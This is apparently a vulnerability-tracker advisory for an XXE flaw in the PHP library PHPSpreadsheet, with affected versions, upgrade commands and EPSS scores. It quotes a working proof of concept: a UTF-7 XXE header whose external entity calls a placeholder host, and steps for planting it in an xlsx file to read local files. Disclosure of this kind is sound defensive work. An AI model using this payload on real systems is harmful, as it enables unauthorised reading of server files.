Loading advisory.
Loading advisory.
XXE in PHPSpreadsheet encoding is returned
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Published 2024-08-28 20:38 UTC · Modified 2025-03-06 18:36 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| phpoffice/phpspreadsheet | Packagist | < 1.29.1 >= 2.2.0, < 2.2.1 >= 2.0.0, < 2.1.1 versions 1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.2.0, 1.2.1, 1.20.0 and 29 more | 1.29.1, 2.2.1, 2.1.1 | composer require 'phpoffice/phpspreadsheet:>=1.29.1'composer require 'phpoffice/phpspreadsheet:>=2.2.1'composer require 'phpoffice/phpspreadsheet:>=2.1.1' |
| phpoffice/phpexcel | Packagist | <= 1.8.2 versions 1.7.9, 1.7.9-rc1, 1.8.0, 1.8.0rc1, 1.8.0rc2, 1.8.0rc3, 1.8.0rc4, 1.8.1, 1.8.2 | No patch yet | No command until a fix exists. |
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
Create simple xlsx file
Rename xlsx to zip
Go to the zip and open the xl/sharedStrings.xml file in edit mode.
Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>Save sharedStrings.xml file and rename zip back to xlsx.
Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");You will receive the request to your http://%webhook%/file.dtd
Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Read local files lfi
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.006 on 2026-11-24 to 0.009 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.009 | 0.006 | v2026.06.15 |